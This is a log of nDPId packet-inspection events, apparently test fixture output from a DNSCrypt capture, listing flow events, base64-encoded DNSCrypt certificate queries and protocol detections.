+00662{"flow_id":227,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522927,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoa1AADYRp\/25wX\/0CgAAAQG7tOoAvNxR\/I6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} +00675{"flow_id":230,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":550382,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmgAADYREsJNQlTpCgAAAQG7tDwAyK7NspqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00675{"flow_id":229,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":550417,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmcAADYREsNNQlTpCgAAAQG7waAAyKFlsp6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00675{"flow_id":231,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":551186,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmoAADYREsBNQlTpCgAAAQG7nREAyMX5spmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00675{"flow_id":232,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":551914,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmkAADYREsFNQlTpCgAAAQG7wkQAyKDDspyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00675{"flow_id":233,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":553042,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmsAADYREr9NQlTpCgAAAQG7xkUAyJzDspuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00675{"flow_id":234,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":553659,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcDmwAADYREr5NQlTpCgAAAQG73xUAyIPxsp2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} +00504{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":40374,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":51509,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":49796,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":946739402187,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":59587,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":187997,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc1vJAAH4RAOYKAAABF29KzejDAbsCCCUSS8MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":572,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":946739402187,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":59587,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":573,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60852,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188013,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc1vNAAH4RAOUKAAABF29Kze20AbsCCCUSS8UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":573,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60852,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":574,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":44793,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188014,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc1vRAAH4RAOQKAAABF29Kza75AbsCCCUSS8cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":574,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":44793,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":575,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":53045,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188041,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc1vYgAH4RHSIKAAABF29Kzc81AbsGBMTJS8YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":575,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":53045,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":34024,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188042,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc1vUgAH4RHSMKAAABF29KzYToAbsGBA8bS8IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":34024,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":577,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188057,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ1vYAuX4RQfUKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":577,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} 